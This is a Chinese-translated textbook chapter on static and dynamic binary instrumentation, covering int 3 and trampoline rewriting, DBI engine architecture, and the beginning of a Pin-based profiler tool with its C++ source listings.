幸运的是,有一些通用的二进制插装平台可以帮助你处理所有实现的复杂性,并提供相对易于使用的 API,你可以用它们实现二进制插装工具。这些 API 通常允许你在选择的插装点安装回调到插装代码中。

在本章后面,你将看到两个使用 Pin 平台的二进制插装的实际示例。Pin 是一个流行的二进制插装平台,你将使用它实现一个分析器,记录二进制文件执行过程中的统计数据以帮助优化。你还将使用 Pin 实现一个自动解压程序,帮助你去混淆 打包的二进制文件。^(3)

你可以区分两类二进制插装平台:静态和动态。我们首先讨论这两类的区别,然后再探讨它们在底层的工作原理。

9.1.2 静态与动态二进制插装

静态和动态二进制插装通过不同的方法解决了插入和重定位代码的难题。SBI 使用 二进制重写 技术永久修改磁盘上的二进制文件。你将在 第 9.2 节 学到 SBI 平台使用的各种二进制重写方法。

另一方面,DBI 完全不修改磁盘上的二进制文件,而是在执行过程中监控二进制文件,并动态插入新的指令流。此方法的优势在于避免了代码重定位问题。插装代码仅被注入到指令流中,而不是内存中二进制代码段中,因此不会破坏引用。然而,权衡是 DBI 的运行时插装更为计算密集,导致插装后的二进制文件比 SBI 慢得多。

表 9-1 总结了 SBI 和 DBI 的主要优缺点,优点用 + 符号表示,缺点用 - 符号表示。

表 9-1: 动态与静态二进制插装的权衡

动态插装 静态插装
– 相对较慢(4 倍或更多) + 相对较快(10% 到 2 倍)
--- ---
– 依赖于 DBI 库和工具 + 独立的二进制文件
--- ---
+ 透明地插装库 – 必须显式插装库
--- ---
+ 处理动态生成的代码 – 不支持动态生成的代码
--- ---
+ 可以动态附加/分离 – 插装整个执行过程
--- ---
+ 无需反汇编 – 易出错的反汇编
--- ---
+ 透明,不需要修改二进制文件 – 易出错的二进制重写
--- ---
+ 无需符号 – 为了最小化错误,最好有符号
--- ---

如你所见,DBI 对运行时分析和插桩的需求导致了四倍或更多的性能下降,而 SBI 只会导致 10%到两倍的性能下降。请注意,这些只是大致数字,实际的性能下降可能会根据你的插桩需求和工具的实现质量有所不同。此外,使用 DBI 插桩的二进制文件更难分发:你不仅需要分发二进制文件本身,还需要分发包含插桩代码的 DBI 平台和工具。另一方面,使用 SBI 插桩的二进制文件是独立的,插桩完成后,你可以正常分发它们。

DBI 的一个主要优点是,它比 SBI 更易于使用。因为 DBI 使用运行时插桩,它自动考虑所有执行的指令,无论这些指令是原始二进制文件的一部分还是二进制文件使用的库的一部分。相比之下,使用 SBI 时,你必须显式地插桩并分发二进制文件使用的所有库,除非你愿意让这些库不进行插桩。DBI 在执行的指令流上操作,这意味着它支持 SBI 无法支持的动态生成代码,如 JIT 编译代码或自修改代码。

此外,DBI 平台通常可以像调试器一样动态地附加到和分离进程。这在你想观察长时间运行的进程的部分执行时非常方便。例如,使用 DBI,你可以简单地附加到该进程,收集你需要的信息,然后分离,使进程恢复正常运行。而 SBI 则做不到这一点;你要么插桩整个执行过程,要么根本不插桩。

最后,DBI 比 SBI 更不容易出错。SBI 通过反汇编二进制文件并进行必要的修改来插桩。这意味着反汇编错误很容易导致插桩错误,可能会导致不正确的结果,甚至使二进制文件崩溃。而 DBI 没有这个问题,因为它不需要反汇编;它只是在指令执行时观察指令,因此可以确保看到正确的指令流。^(4) 为了最小化反汇编错误的可能性,许多 SBI 平台需要符号,而 DBI 则没有此要求。^(5)

如我之前提到的,实现 SBI 的二进制重写和 DBI 的运行时插桩有多种方式。在接下来的两个部分中,我们将分别看看实现 SBI 和 DBI 的最流行方式。

9.2 静态二进制插桩

静态二进制插装(SBI)通过反汇编二进制文件,然后在需要的地方添加插装代码,并将更新后的二进制文件永久存储在磁盘上。著名的 SBI 平台包括 PEBIL^(6)和 Dyninst^(7)(它同时支持 DBI 和 SBI)。PEBIL 需要符号,而 Dyninst 则不需要。请注意,PEBIL 和 Dyninst 都是研究工具,因此它们的文档不如生产级工具那么完备。

实现 SBI 的主要挑战是找到一种方法来添加插装代码并重写二进制文件,同时不破坏任何现有的代码或数据引用。让我们考虑两种常见的解决方案,我称之为int 3 方法跳板方法。请注意,在实际应用中,SBI 引擎可能结合这两种技术的元素,或者采用完全不同的技术。

9.2.1 int 3 方法

int 3 方法得名于 x86 的int 3指令,调试器使用它来实现软件断点。为了说明int 3的必要性,我们首先考虑一种在一般情况下有效的 SBI 方法。

一个简单的 SBI 实现

鉴于修复所有指向已重新定位代码的引用在实际中几乎不可能,显然 SBI 不能将插装代码内联到现有的代码段中。由于现有代码段中没有足够的空间来添加任意数量的新代码,因此 SBI 方法必须将插装代码存储在一个独立的位置,比如一个新的代码段或共享库中,然后在执行到插装点时,某种方式将控制转移到插装代码。为了实现这一点,你可能会想到图 9-1 中所示的解决方案。

image

图 9-1:一种非通用的 SBI 方法,它使用 jmp 来挂钩插装点

图 9-1 的最左列展示了一块原始的、未插装的代码。假设你想在指令mov edx,0x1 ➊前后添加插装代码。为了绕过无法在原地添加新代码的问题,你可以将mov edx,0x1替换为一个跳转指令jmp,该跳转指令指向你存储在独立代码段或库中的插装代码 ➋。插装代码首先运行你添加的前置插装代码 ➌,也就是在原始指令之前执行的代码。接着,它运行原始的mov edx,0x1指令 ➍,然后执行后置插装代码 ➎。最后,插装代码跳转回插装点后面的指令 ➏,恢复正常执行。

请注意,如果预先或后置的代码更改了寄存器内容,这可能会无意中影响程序的其他部分。因此,SBI 平台在运行这些新增代码之前会保存寄存器的状态,并在之后恢复状态,除非你明确告诉 SBI 平台你想要更改寄存器状态。

正如你所看到的,图 9-1 中的方法是一种简单而优雅的方式,可以在任意指令之前或之后运行你选择的任意量的代码。那么这个方法有什么问题呢?问题在于,jmp 指令占用多个字节;要跳转到仪器化代码,你通常需要一个 5 字节的 jmp 指令,其中包括 1 个操作码字节和一个 32 位的偏移量。

当你对一条短指令进行仪器化时,跳转到仪器化代码的 jmp 可能比它所替代的指令要长。例如,图 9-1 左上角的 xor esi,esi 指令只有 2 个字节长,因此,如果你用 5 字节的 jmp 替换它,jmp 会覆盖并破坏下一条指令的一部分。你无法通过将被覆盖的下一条指令作为仪器化代码的一部分来解决这个问题,因为该指令可能是一个分支目标。任何指向该指令的分支都将落入你插入的 jmp 的中间,破坏二进制文件。

这又将我们带回到 int 3 指令。你可以使用 int 3 指令来仪器化那些无法适配多字节跳转的短指令,正如接下来所看到的那样。

使用 int 3 解决多字节跳转问题

x86 的 int 3 指令生成一个软件中断,用户空间程序(如 SBI 库或调试器)可以捕获该中断(在 Linux 上以 SIGTRAP 信号的形式由操作系统传递)。关于 int 3 的关键细节是,它只有 1 个字节长,因此你可以用它覆盖任何指令,而无需担心覆盖相邻的指令。int 3 的操作码是 0xcc

从 SBI 的角度来看,要使用 int 3 来仪器化一条指令,你只需将该指令的第一个字节覆盖为 0xcc。当发生 SIGTRAP 时,你可以使用 Linux 的 ptrace API 来查找中断发生的地址,从而告诉你仪器化点的地址。然后,你可以调用该仪器化点的适当仪器化代码,正如你在 图 9-1 中看到的那样。

从纯粹的功能角度来看,int 3 是实现 SBI 的理想方式,因为它易于使用且不需要任何代码重定位。不幸的是,像 int 3 这样的软件中断较慢,会导致仪器化应用程序产生过多的开销。此外,int 3 方法与已经使用 int 3 作为断点的程序不兼容。因此,在实际应用中,许多 SBI 平台使用更复杂但更快速的重写方法,如跳板方法。

9.2.2 跳板方法

int 3方法不同,跳板方法不会直接尝试对原始代码进行插装。相反,它创建了原始代码的副本,仅对这个副本进行插装。其理念是,这样做不会破坏任何代码或数据引用,因为这些引用仍然指向原始、未更改的位置。为了确保二进制文件运行插装后的代码而不是原始代码,跳板方法使用jmp指令,称为跳板,将原始代码重定向到插装后的副本。每当调用或跳转将控制权转移到原始代码的某个部分时,那个位置的跳板会立即跳转到对应的插装代码。

为了更清楚地理解跳板方法,参考图 9-2 中展示的示例。图中左侧显示的是未插装的二进制文件,右侧则显示了插装后的二进制文件如何变化。

image

图 9-2:使用跳板的静态二进制插装

假设原始的未插装二进制文件包含两个函数,分别是f1f2。图 9-2 显示了f1包含的代码。f2的内容对于这个示例并不重要。

<f1>:
  test edi,edi
  jne _ret
  xor eax,eax
  call f2
_ret:
  ret

当你使用跳板方法对二进制文件进行插装时,SBI 引擎会创建所有原始函数的副本,将它们放置在一个新的代码段中(在图 9-2 中称为.text.instrum),并用jmp跳板指令覆盖每个原始函数的第一条指令,指向相应的复制函数。例如,SBI 引擎会按如下方式重写原始的f1,将其重定向到f1_copy

<f1>:
  jmp f1_copy
  ; junk bytes

跳板指令是一个 5 字节的jmp,因此它可能部分覆盖并破坏多个指令,导致跳板后面出现“垃圾字节”。然而,这通常不是跳板方法的问题,因为它确保这些损坏的指令永远不会被执行。你将在本节末尾看到一些可能出错的情况。

跳板控制流

为了更好地理解通过跳板方法插装的程序控制流,回到图 9-2 右侧显示的插装二进制文件,并假设原始的f1函数刚刚被调用。只要f1被调用,跳板就会跳转到f1_copy ➊,即f1的插装版本。跳板后面可能会有一些垃圾字节 ➋,但这些字节不会被执行。

SBI 引擎会在f1_copy中的每个可能的插装点插入若干个nop指令 ➌。这样,为了插装一条指令,SBI 引擎只需将该插装点的nop指令覆盖为跳转jmp或调用call到一个插装代码块。请注意,nop插入和插装操作都是静态完成的,而不是在运行时完成的。在图 9-2 中,所有的nop区域除了最后一个区域——位于ret指令之前——都没有使用,正如我稍后会解释的那样。

为了在插入新指令后代码发生偏移时仍能保持相对跳转的正确性,SBI 引擎会修补所有相对jmp指令的偏移量。此外,SBI 引擎还会将所有 2 字节的相对jmp指令(具有 8 位偏移量)替换为相应的 5 字节版本,这些版本具有 32 位的偏移量 ➍。这是必要的,因为当你在f1_copy中移动代码时,jmp指令与其目标之间的偏移可能会变得过大,无法用 8 位编码。

类似地,SBI 引擎会重写直接调用,如call f2,使它们指向插装后的函数,而不是原始函数 ➎。鉴于这种对直接调用的重写,你可能会想知道为什么每个原始函数开头的跳板仍然是必要的。正如我稍后会解释的那样,它们是为了适应间接调用而必需的。

现在假设你已经告诉 SBI 引擎插装每条ret指令。为此,SBI 引擎会将为此目的预留的nop指令覆盖为跳转jmp或调用call到你的插装代码 ➏。在图 9-2 的示例中,插装代码是一个名为hook_ret的函数,它被放置在共享库中,并通过 SBI 引擎在插装点插入的call调用来访问。

hook_ret函数首先保存状态 ➐,例如寄存器内容,然后运行你指定的任何插装代码。最后,它恢复保存的状态 ➑,并通过返回到插装点后的指令来恢复正常执行。

现在你已经了解了跳板方法如何重写直接控制流指令,让我们来看一下它是如何处理间接控制流的。

处理间接控制流

由于间接控制流指令的目标是动态计算的地址,因此 SBI 引擎无法静态地重定向它们。跳板技术允许间接控制流转移到原始的、未插装的代码,并通过在原始代码中放置跳板来拦截并将控制流重新定向回插装过的代码。图 9-3 展示了跳板方法如何处理两种类型的间接控制流:间接函数调用和用于实现 C/C++ switch语句的间接跳转。

image

图 9-3:静态插装二进制中的间接控制转移

图 9-3a 展示了跳板方法如何处理间接调用。SBI 引擎不会改变计算地址的代码,因此间接调用使用的目标地址指向原始函数 ➊。由于每个原始函数的开始处都有一个跳板,控制流会立即返回到该函数的插桩版本 ➋。

对于间接跳转,事情变得更加复杂,正如你在图 9-3b 中看到的那样。为了简化这个例子,假设这是一个作为 C/C++ switch 语句一部分的间接跳转。在二进制级别,switch 语句通常使用一个跳转表来实现,该表包含所有可能的 switch 情况的地址。为了跳转到特定的情况,switch 会计算出对应的跳转表索引,并使用间接的 jmp 跳转到该地址 ➊。

位置无关代码中的跳板

基于跳板方法的 SBI 引擎需要对位置独立可执行文件(PIE 二进制文件)中的间接控制流提供特别支持,这些文件不依赖于任何特定的加载地址。PIE 二进制文件会读取程序计数器的值,并将其作为地址计算的基础。在 32 位 x86 上,PIE 二进制文件通过执行 call 指令来读取程序计数器,然后从栈中读取返回地址。例如,gcc 5.4.0 会生成以下函数,你可以调用它来读取 call 指令之后的指令地址:

<__x86.get_pc_thunk.bx>:
  mov ebx,DWORD PTR [esp]
  ret

这个函数将返回地址复制到 ebx 中,然后返回。在 x64 中,你可以直接读取程序计数器(rip)。

PIE(二进制位置独立)可执行文件的危险在于,它们可能在运行插桩代码时读取程序计数器并将其用于地址计算。这很可能导致错误的结果,因为插桩代码的布局与地址计算假设的原始布局不同。为了解决这个问题,SBI 引擎会对读取程序计数器的代码结构进行插桩,使其返回原始代码中程序计数器应有的值。这样,随后的地址计算将像在未插桩的二进制文件中一样,得出原始代码的位置,从而允许 SBI 引擎通过跳板拦截该位置的控制流。

默认情况下,跳转表中存储的地址都指向原始代码 ➋。因此,间接的 jmp 最终会跳到原始函数的中间,那里没有跳板,然后继续执行 ➌。为了避免这个问题,SBI 引擎必须要么修补跳转表,修改原始代码地址为新的地址,要么在原始代码中的每个 switch 情况处放置一个跳板。

不幸的是,基本的符号信息(与大量 DWARF 信息不同)没有包含switch语句的布局信息,这使得很难判断在哪里放置跳板。此外,switch语句之间可能没有足够的空间来容纳所有的跳板。修补跳转表也是危险的,因为你有可能错误地改变一些数据,这些数据恰好是一个有效的地址,但并不真正属于跳转表的一部分。

跳板方法的可靠性

如你所见,处理switch语句时,跳板方法容易出错。类似于那些空间不足以容纳正常跳板的switch语句,程序可能(尽管不太可能)包含非常短的函数,它们没有足够的空间放置一个 5 字节的jmp,这时 SBI 引擎需要回退到另一种解决方案,比如int 3方法。此外,如果二进制文件中包含任何与代码混合的内联数据,跳板可能会不小心覆盖部分数据,导致程序在使用这些数据时出现错误。所有这些假设反汇编本身就是正确的;如果不正确,SBI 引擎所做的任何修改都可能会破坏二进制文件。

不幸的是,目前没有一种既高效又可靠的 SBI 技术,这使得 SBI 在生产二进制文件中使用时存在风险。在许多情况下,DBI 解决方案更为可取,因为它们不容易遭遇 SBI 所面临的错误。尽管 DBI 的速度不如 SBI,但现代 DBI 平台在许多实际应用场景中已经足够高效。本章的其余部分将重点介绍 DBI,特别是一个著名的 DBI 平台——Pin。我们将首先看看 DBI 的实现细节,然后探讨一些实际的例子。

9.3 动态二进制插装

因为 DBI 引擎在执行过程中监控二进制文件(或更准确地说,监控进程),并对指令流进行插装,它们不像 SBI 那样需要反汇编或二进制重写,因此它们更不容易出错。

图 9-4 展示了现代 DBI 系统(如 Pin 和 DynamoRIO)的架构。这些系统都基于相同的高级方法,尽管它们在实现细节和优化上有所不同。我将把本章的其余部分集中在图中展示的“纯”DBI 系统,而不是像 Dyninst 这样的混合平台,后者通过使用代码修补技术(如跳板)来支持 SBI 和 DBI。

9.3.1 DBI 系统架构

DBI 引擎通过监控和控制所有已执行的指令来动态地插桩进程。DBI 引擎暴露了一个 API,允许你编写用户定义的 DBI 工具(通常是由引擎加载的共享库形式),以指定哪些代码需要插桩以及如何插桩。例如,图 9-4 右侧显示的 DBI 工具实现了一个简单的性能分析器(伪代码),该分析器统计执行了多少个基本块。为了实现这一点,它使用 DBI 引擎的 API,在每个基本块的最后一条指令上插桩一个回调函数,以增加计数器。

在 DBI 引擎启动主应用程序进程之前(或者如果你附加到现有进程,则在恢复它之前),它允许 DBI 工具进行初始化。在图 9-4 中,DBI 工具的初始化函数将一个名为instrument_bb的函数注册到 DBI 引擎 ➊。这个函数告诉 DBI 引擎如何对每个基本块进行插桩;在这种情况下,它在基本块的最后一条指令后添加了一个回调到bb_callback。接下来,初始化函数通知 DBI 引擎它已完成初始化并准备启动应用程序 ➋。

image

图 9-4:DBI 系统的架构

DBI 引擎从不直接运行应用程序进程,而是运行包含所有插桩代码的代码缓存中的代码。最初,代码缓存是空的,因此 DBI 引擎从进程中获取一块代码 ➌,并按照 DBI 工具的指示对该代码进行插桩 ➍。请注意,DBI 引擎不一定以基本块粒度获取和插桩代码,正如我将在第 9.4 节中进一步解释的那样。然而,在这个例子中,我假设引擎通过调用instrument_bb以基本块粒度插桩代码。

在对代码进行插桩后,DBI 引擎使用即时编译器(JIT) ➏进行编译,JIT 编译器重新优化插桩后的代码,并将编译后的代码存储在代码缓存中 ➐。JIT 编译器还会重写控制流指令,确保 DBI 引擎保持控制,防止控制转移继续在未插桩的应用程序进程中执行。请注意,与大多数编译器不同,DBI 引擎中的 JIT 编译器不会将代码翻译成不同的语言;它是从原生机器码编译到原生机器码。只需在首次执行代码时进行插桩和 JIT 编译。之后,代码会存储在代码缓存中并重用。

插装并 JIT 编译后的代码现在在代码缓存中执行,直到遇到需要获取新代码或在缓存中查找另一个代码块的控制流指令 ➑。像 Pin 和 DynamoRIO 这样的 DBI 引擎通过在可能的情况下重写控制流指令,减少了运行时开销,从而使它们能够直接跳转到代码缓存中的下一个块,而无需经过 DBI 引擎的中介。当不可能这样做时(例如,对于间接调用),重写的指令会将控制权返回给 DBI 引擎,以便它准备并启动下一个代码块。

虽然大多数指令在代码缓存中本地运行,但 DBI 引擎可能会模拟某些指令,而不是直接运行它们。例如,Pin 对像 execve 这样的系统调用进行模拟,因为它们需要 DBI 引擎特别处理。

插装后的代码包含回调到 DBI 工具中的函数,这些函数观察或修改代码的行为 ➒。例如,在 图 9-4 中,DBI 工具的 instrument_bb 函数在每个基本块的末尾添加一个回调,调用 bb_callback,该回调递增 DBI 工具的基本块计数器。DBI 引擎在将控制转移到或从 DBI 工具中的回调函数时,会自动保存和恢复寄存器状态。

现在你已经熟悉了 DBI 引擎的工作原理,让我们来讨论 Pin,这是我在本章示例中使用的 DBI 引擎。

9.3.2 Pin 介绍

作为最受欢迎的 DBI 平台之一,Intel Pin 是一个积极开发的、免费使用(尽管不是开源的)且文档齐全的工具,它提供了一个相对易用的 API。^(8) 你会在虚拟机的 ~/pin/pin-3.6-97554-g31f0a167d-gcc-linux 路径下找到预装的 Pin v3.6。Pin 附带了许多示例工具,你可以在主 Pin 目录的 source/tools 子目录中找到它们。

Pin 内部结构

Pin 当前支持包括 x86 和 x64 在内的 Intel CPU 架构,并可用于 Linux、Windows 和 macOS。其架构类似于 图 9-4。Pin 按 trace 粒度获取和 JIT 编译代码,trace 是一种类似基本块的抽象,可以仅在顶部进入,但可能包含多个退出点,不同于常规的基本块。^(9) Pin 将 trace 定义为一条直线指令序列,直到遇到无条件控制转移或达到预定义的最大长度或条件控制流指令数量时结束。

尽管 Pin 始终按 trace 粒度进行 JIT 编译代码,但它允许你在多种粒度下对代码进行插装,包括指令、基本块、trace、函数和镜像(完整的可执行文件或库)。Pin 的 DBI 引擎和 Pintools 都在用户空间运行,因此你只能使用 Pin 对用户空间进程进行插装。

实现 Pintools

你使用 Pin 实现的 DBI 工具被称为Pintools,它们是你用 C/C++编写的共享库,利用 Pin API。Pin API 尽可能独立于架构,只有在需要时才使用特定架构的组件。这使得你可以编写跨架构可移植的 Pintools,或者仅需进行最小的修改即可支持另一种架构。

要创建一个 Pintool,你需要编写两种不同类型的函数:插桩例程分析例程。插桩例程告诉 Pin 需要添加哪些插桩代码以及代码的位置;这些函数仅在 Pin 首次遇到尚未插桩的特定代码时运行。为了插桩代码,插桩例程安装回调到包含实际插桩代码的分析例程,每次执行插桩的代码序列时都会调用这些回调。

注意,你不应该将 Pin 的插桩例程与 SBI 术语中的插桩代码混淆。插桩代码是添加到已插桩程序中的新代码,且对应于 Pin 的分析例程,而不是插桩例程。插桩例程会插入到分析例程的回调中。插桩与分析例程之间的区别将在后续的实际示例中变得更加清晰。

由于 Pin 的普及,许多其他二进制分析平台都基于它。例如,在关于动态污点分析和符号执行的第十章到第十三章中,你将再次看到 Pin 的身影。

在本章中,你将看到两个使用 Pin 实现的实际示例:一个分析工具和一个自动解包器。在实现这些工具的过程中,你将了解 Pin 的内部机制,如它所支持的插桩点。我们先从分析工具开始。

9.4 使用 Pin 进行分析

分析工具记录程序执行的统计信息,帮助优化该程序。具体来说,它统计执行的指令数量,以及基本块、函数和系统调用被调用的次数。

9.4.1 分析器的数据结构和设置代码

示例 9-1 展示了分析器代码的第一部分。以下讨论省略了标准的包含文件和未使用 Pin 功能的函数,例如使用函数和打印结果的函数。你可以在 VM 中的profiler.cpp源文件中看到这些。我将把分析器 Pintool 称为“Pintool”或“分析器”,而将分析器所插桩的被分析程序称为“应用程序”。

示例 9-1: profiler.cpp

➊ #include "pin.H"

➋ KNOB<bool> ProfileCalls(KNOB_MODE_WRITEONCE, "pintool", "c", "0", "Profile function calls");
   KNOB<bool> ProfileSyscalls(KNOB_MODE_WRITEONCE, "pintool", "s", "0", "Profile syscalls");

➌ std::map<ADDRINT, std::map<ADDRINT, unsigned long> > cflows;
   std::map<ADDRINT, std::map<ADDRINT, unsigned long> > calls;
   std::map<ADDRINT, unsigned long> syscalls;
   std::map<ADDRINT, std::string> funcnames;

   unsigned long insn_count    = 0;
   unsigned long cflow_count   = 0;
   unsigned long call_count    = 0;
   unsigned long syscall_count = 0;

   int
   main(int argc, char *argv[])
   {
➍   PIN_InitSymbols();
➎   if(PIN_Init(argc,argv)) {
       print_usage();
       return 1;
     }

➏   IMG_AddInstrumentFunction(parse_funcsyms, NULL);
     TRACE_AddInstrumentFunction(instrument_trace, NULL);
     INS_AddInstrumentFunction(instrument_insn, NULL);
➐   if(ProfileSyscalls.Value()) {
       PIN_AddSyscallEntryFunction(log_syscall, NULL);
     }

 ➑   PIN_AddFiniFunction(print_results, NULL);

     /* Never returns */
➒   PIN_StartProgram();

     return 0;
   }

每个 Pintool 必须包含pin.H来访问 Pin API ➊。^(10)这个单一的头文件提供了完整的 API。

请注意,Pin 从第一条指令开始观察程序,这意味着分析器不仅能看到应用程序代码,还能看到动态加载器和共享库执行的指令。编写任何 Pintool 时都需要牢记这一点。

命令行选项和数据结构

Pintool 可以实现特定工具的命令行选项,在 Pin 术语中称为knobs。Pin API 包括一个专门的KNOB类,用于创建命令行选项。在清单 9-1 中,有两个布尔选项(KNOB<bool>) ➋,分别为ProfileCallsProfileSyscalls。这些选项使用模式KNOB_MODE_WRITEONCE,因为它们是布尔标志,只会在你提供标志时设置一次。你可以通过传递-c标志来启用ProfileCalls选项,通过传递-s来启用ProfileSyscalls。(你将在分析器测试中看到如何传递这些选项。)这两个选项的默认值为 0,即如果不传递标志,它们为假。Pin 还允许你创建其他类型的命令行选项,如stringint选项。有关这些选项的更多信息,你可以参考 Pin 文档或查看示例工具。

分析器使用多个std::map数据结构和计数器来跟踪程序的运行时统计数据 ➌。cflowscalls数据结构将控制流目标的地址(基本块或函数)映射到另一个映射,该映射又跟踪调用每个目标的控制流指令的地址(跳转、调用等),并计算控制流被触发的频率。syscall映射仅跟踪每个系统调用号被调用的频率,funcnames将函数地址映射到符号名称(如果已知)。计数器(insn_countcflow_countcall_countsyscall_count)分别跟踪已执行指令的总数、控制流指令、调用次数和系统调用次数。

初始化 Pin

与普通的 C/C++程序一样,Pintool 从main函数开始。分析器调用的第一个 Pin 函数是PIN_InitSymbols ➍,该函数使 Pin 读取应用程序的符号表。为了在 Pintool 中使用符号,Pin 要求你在调用任何其他 Pin API 函数之前先调用PIN_InitSymbols。分析器在符号可用时使用它们,以显示每个函数被调用的次数的可读统计信息。

分析器调用的下一个函数是PIN_Init ➎,该函数初始化 Pin,必须在调用任何其他 Pin 函数之前调用,除了PIN_InitSymbols。如果初始化过程中出现任何问题,它将返回true,此时分析器会打印使用说明并退出。PIN_Init函数处理 Pin 的命令行选项以及通过你创建的KNOB指定的 Pintool 选项。通常,Pintool 无需实现自己的命令行处理代码。

注册插桩函数

既然 Pin 已经初始化,现在是时候初始化 Pintool 了。最重要的部分是注册负责对应用程序进行插桩的插桩例程。

分析器注册了三种插桩例程 ➏。其中第一个叫做parse_funcsyms,它在图像粒度下进行插桩,而instrument_traceinstrument_insn则分别在跟踪粒度和指令粒度下进行插桩。要将这些例程注册到 Pin 中,分别调用IMG_AddInstrumentFunctionTRACE_AddInstrumentFunctionINS_AddInstrumentFunction。请注意,你可以根据需要添加任意数量的每种类型的插桩例程。

正如你将很快看到的,三种插桩例程分别以IMGTRACEINS对象作为它们的第一个参数,具体取决于它们的类型。此外,它们都将一个void*作为第二个参数,这允许你传递一个由你在使用*_AddInstrumentFunction注册插桩例程时指定的 Pintool 特定数据结构。分析器没有使用此功能(它为每个void*传递NULL)。

注册系统调用入口函数

Pin 还允许你注册在每个系统调用之前或之后调用的函数,方法与注册插桩回调相同。请注意,你不能仅为某些系统调用指定回调;你只能在回调函数内区分不同的系统调用。

分析器使用PIN_AddSyscallEntryFunction注册一个名为log_syscall的函数,该函数在每次进入系统调用时被调用 ➐。要注册一个在系统调用退出时触发的回调,使用PIN_AddSyscallExitFunction。只有当ProfileSyscalls.Value(),即ProfileSyscalls开关的值为true时,分析器才会注册回调。

注册 Fini 函数

分析器注册的最终回调是一个fini 函数,当应用程序退出或从其分离 Pin 时 ➑ 会调用该函数。fini 函数接收一个退出状态码(INT32)和一个用户定义的void*。要注册 fini 函数,使用PIN_AddFiniFunction。请注意,某些程序的 fini 函数可能无法可靠地调用,具体取决于程序的退出方式。

分析器注册的 fini 函数负责打印分析结果。由于它不包含任何 Pin 特定的代码,因此我不会在此讨论它,但你可以在测试分析器时看到print_results的输出。

启动应用程序

每个 Pintool 初始化的最后一步是调用PIN_StartProgram,它启动应用程序运行 ➒。之后,无法再注册任何新的回调;Pintool 仅在调用插桩或分析例程时才会重新获得控制权。PIN_StartProgram函数永远不会返回,这意味着main末尾的return 0永远不会被执行。

9.4.2 解析函数符号

现在你已经知道如何初始化一个 Pintool 并注册仪器化例程和其他回调函数,我们来详细看看刚刚注册的回调函数。首先从 parse_funcsyms 开始,如列表 9-2 所示。

列表 9-2: profiler.cpp (续)

   static void
   parse_funcsyms(IMG img, void *v)
   {
➊    if(!IMG_Valid(img)) return;

➋    for(SEC sec = IMG_SecHead(img); SEC_Valid(sec); sec = SEC_Next(sec)) {
➌      for(RTN rtn = SEC_RtnHead(sec); RTN_Valid(rtn); rtn = RTN_Next(rtn)) {
➍        funcnames[RTN_Address(rtn)] = RTN_Name(rtn);
        }
      }
   }

回想一下,parse_funcsyms 是一种图像粒度的仪器化例程,你可以通过它接收一个 IMG 对象作为第一个参数来识别它。图像仪器化例程在加载新图像(可执行文件或共享库)时调用,允许你对整个图像进行仪器化。除此之外,这还允许你遍历图像中的所有函数,并在每个函数之前或之后添加分析例程。需要注意的是,只有当二进制文件包含符号信息时,函数仪器化才可靠,并且在某些优化(如尾调用)下,后函数仪器化无法正常工作。

然而,parse_funcsyms 并没有添加任何仪器化代码。相反,它利用了图像仪器化的另一个特性,可以查看图像中所有函数的符号名称。性能分析器会保存这些名称,以便稍后读取并在输出中显示人类可读的函数名称。

在使用 IMG 参数之前,parse_funcsyms 会调用 IMG_Valid 来确保它是一个有效的图像 ➊。如果是有效的,parse_funcsyms 会遍历图像中的所有 SEC 对象,代表图像中的所有节 ➋。IMG_SecHead 返回图像中的第一个节,SEC_Next 返回下一个节;该循环会一直继续,直到 SEC_Valid 返回 false,表示没有剩余的下一个节。

对于每个节,parse_funcsyms 会遍历所有函数(由 RTN 对象表示,如“routine”),并将每个函数的地址(由 RTN_Address 返回)映射到 funcnames 映射中的符号名称(由 RTN_Name 返回)。如果函数名称未知(例如,二进制文件没有符号表),RTN_Name 会返回一个空字符串。

parse_funcsyms 完成后,funcnames 包含所有已知函数地址到符号名称的映射。

9.4.3 基本块的仪器化

回想一下,性能分析器记录的其中一项内容是程序执行的指令数。为此,性能分析器会对每个基本块进行仪器化,调用一个分析函数,该函数会根据基本块中的指令数量增加指令计数器(insn_count)。

关于 Pin 中基本块的一些说明

因为 Pin 是动态发现基本块的,所以 Pin 发现的基本块可能与静态分析时发现的不同。例如,Pin 可能最初发现了一个大的基本块,后来又发现一个跳转指令进入该基本块的中间,迫使 Pin 更新决策,将基本块拆分成两个并重新插桩这两个基本块。虽然这对分析器没有影响,因为分析器只关心执行的指令数量,而不关心基本块的形状,但需要牢记这一点,以防某些 Pintool 混淆。

另外请注意,作为一种替代实现,你可以在每条指令上增加 insn_count。然而,这比基本块级别的实现要慢得多,因为它需要每条指令调用一次回调函数来增加 insn_count。相比之下,基本块级别的实现只需要每个基本块调用一次回调。当编写 Pintool 时,优化分析例程是非常重要的,因为它们会在执行过程中反复被调用,而插桩例程只会在遇到某段代码的第一次时被调用。

实现基本块插桩

你不能直接在 Pin API 中对基本块进行插桩。也就是说,没有 BBL_AddInstrumentFunction。要对基本块进行插桩,你必须添加一个跟踪级别的插桩例程,然后遍历跟踪中的所有基本块,对每一个进行插桩,如列表 9-3 所示。

列表 9-3: profiler.cpp (续)

   static void
   instrument_trace(TRACE trace, void *v)
   {
➊    IMG img = IMG_FindByAddress(TRACE_Address(trace));
     if(!IMG_Valid(img) || !IMG_IsMainExecutable(img)) return;

➋    for(BBL bb = TRACE_BblHead(trace); BBL_Valid(bb); bb = BBL_Next(bb)) {
➌      instrument_bb(bb);
     }
   }

   static void
   instrument_bb(BBL bb)
   {
➍    BBL_InsertCall(
       bb, ➎IPOINT_ANYWHERE, ➏(AFUNPTR)count_bb_insns,
       ➐IARG_UINT32, BBL_NumIns(bb),
       ➑IARG_END
     );
   }

列表中的第一个函数,instrument_trace,是分析器先前注册的跟踪级别插桩例程。它的第一个参数是要插桩的 TRACE

首先,instrument_trace 使用跟踪的地址调用 IMG_FindByAddress 来找到跟踪所在的 IMG ➊。接下来,它验证图像是否有效,并调用 IMG_IsMainExecutable 检查该跟踪是否属于主应用程序可执行文件。如果不是,instrument_trace 将返回,不对该跟踪进行插桩。这样做的理由是,在对应用程序进行分析时,通常只希望统计应用程序内部的代码,而不包括共享库或动态加载器中的代码。

如果跟踪有效且属于主应用程序,instrument_trace 会遍历跟踪中的所有基本块(BBL 对象)➋。对于每个 BBL,它会调用 instrument_bb ➌,该函数会对每个 BBL 进行实际的插桩。

要对给定的 BBL 进行插桩,instrument_bb 会调用 BBL_InsertCall ➍,这是 Pin 的 API 函数,用于用分析例程回调函数插桩基本块。BBL_InsertCall 函数有三个必需的参数:要插桩的基本块(此例中为 bb),插入点,以及要添加的分析例程的函数指针。

